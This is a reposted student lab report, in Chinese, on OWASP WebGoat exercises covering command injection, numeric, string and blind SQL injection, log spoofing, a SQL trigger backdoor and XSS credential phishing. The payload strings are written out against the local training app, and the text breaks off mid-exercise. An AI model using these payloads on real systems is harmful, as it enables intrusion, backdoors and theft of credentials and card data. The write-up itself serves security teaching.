微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

2018-2019-2 20165215《网络对抗技术》Exp9 :Web安全基础

实验目的及内容

目的: 理解常用网络攻击技术的基本原理

内容

1、sql注入攻击

2、XSS攻击

3、CSRF攻击

实验过程记录

一、Webgoat安装

介绍:WebGoat是Owasp组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、sql盲注、数字型sql注入、字符串型sql注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

1、下载webgoat-container-7.0.1-war-exec.jar文件

分享图片

2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端

3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

4、使用用户名密码guest登录即可

分享图片

  • 其中Java Source是源码、Solution是答案、Hints是提示

二、 注入缺陷(Injection?Flaws)

(一)命令注入(Command Injection)

技术概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。

原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。

目标:能够在目标主机上执行任何系统命令

操作方法
1、右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码添加"& netstat -an & ipconfig"

分享图片

2、点击view,能看到网络端口使用情况和 IP 地址,攻击成功

分享图片

(二)数字型注入(Numeric sql Injection)

技术概念sql 注入攻击对任何一个数据库作为驱动的站点来说都是一个严重威胁

原理:在 station 字段中注入特征字符,能组合成新的 sql 语句。

SELECT * FROM weather_data WHERE station = [station]

目标:下面的表单允许用户查看天气数据。请通过注入 sql 字符串的方式查看所有的天气数据

操作方法
1、右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

分享图片

2、攻击成功,显示所有城市的天气情况
?

分享图片

(三)日志欺骗(Log Spoofing)

主题:本节课程将教会您如何使用障眼法

原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹

目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录

操作方法
1、该课程接受用户输入的任何一个用户名,并将其追加到日志文件

2、尝试在文本框中直接输入用户名zjj Login Succeeded for username admin,可是这样用户名后面的信息会在同一行显示,而不是在新的一行

分享图片

3、利用入回车(0D%)和换行符(%0A),在 username 中填入zjj%0d%0aLogin Succeeded for username: admin,目标达到~

分享图片

4、攻击者可以利用这种方式向日志文件添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到

5、用户名输入admin <script>alert(document.cookie)</script>管理员可以看到弹窗的cookie信息

(四) 小实验:sql 注入(LAB:?sql?Injection)

Stage 1: 字符串型注入(Stage 1: String sql Injection)

目标:使用 sql 注入绕过认证

操作方法
1、右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20

分享图片

2、 以用户Neville登录,输入密码Smith‘ or ‘1‘ = ‘1

3、攻击成功,得到所有人员列表

分享图片

Stage 3: 数字型 sql 注入(Stage 3: Numeric sql Injection)

目标:执行 sql 注入绕过认证; 该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户, 浏览其 BOSS 的账户信息。

操作方法
1、使用用户名 Larry,密码 larry 登录,点击ViewProfile查看用户信息

分享图片

2、右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据

分享图片

3、用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作为查询到的第一条数据

分享图片

4、得到老板的账户信息,攻击成功

分享图片

(五)字符串注入(String sql Injection)

原理:? 基于以下查询语句构造自己的 sql 注入字符串。

SELECT * FROM user_data WHERE last_name = '?'

目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 sql 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。

操作方法
1、正常情况下只能查询用户名对应的信用卡号码

分享图片

2、输入查询用户名Smith‘ or 1=1--

3、攻击成功,得到所有用户的信用卡号码

分享图片

分析:Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据

(六)数据库后门(Database Backdoors)

主题:如何创建数据库后门

原理数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用一个数据库操作,如 insert,?select,?update?or?delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。?

目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MysqL 数据库不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。

操作方法
1、输入101,得到该用户的信息

分享图片

2、我们可以看到,输入的语句没有验证,很容易进行 sql 注入

3、输入注入语句101; update employee set salary=10000执行两个语句

分享图片

4、输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘WHERE userid = NEW.userid注入一个充当sql后门的触发器

分享图片

分析:

  • BEFORE/AFTER参数指定了触发执行的时间,在事件之前或是之后
  • FOR EACH ROW表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次

(七)数字型盲注入(Blind?Numeric?sql?Injection)?

原理:某些 sql 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
??????????您的目标是找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过本课程。

操作方法
1、本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;

2、如果该查询语句返回了帐号的信息,页面提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。

3、输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效

分享图片

4、输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

分享图片

5、针对查询语句的后半部分构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );

分享图片

6、页面提示帐号无效,说明PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364

分享图片

(八)字符串型盲注入(Blind?String?sql?Injection)?

目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或 假)测试检查数据库中其它条目信息。
???????我们的目标是找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程。

操作方法
本节课程非常类似与上一节,最大的不同是要查询的字段是一个字符串而不是数值

1、输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘),1,1) < ‘H‘ );取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小

  • SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)

2、经过多次测试和页面的返回数据,判断出第一个字符为“J”,同理继续判断剩下的字符

3、最终,判断出pin字段的值为:Jill

分享图片

三、跨站脚本攻击(Cross‐Site Scripting (XSS))

(一) 使用 XSS 钓鱼(Phishing?with?XSS)?

技术概念:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成 XSS。在 XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面增加内容。对于受害者来说很难发现该内容是否存在威胁。

原理:如果有权限操作页面代码,那么 HTML 文档的内容是可以被篡改的。

目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

操作方法

  • 利用XSS可以在已存在的页面中进一步添加元素,该解决方包括两部分,我们需要结合起来使用:
    • 受害人填写一个表格;
    • 以读取脚本的形式,将收集到的信息发送给攻击者。

1、编写一个用户名和密码输入框的表格

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

2、编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

display:block" data-ad-client="ca-pub-4605373693034661" data-ad-slot="7710637872" data-ad-format="auto">

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐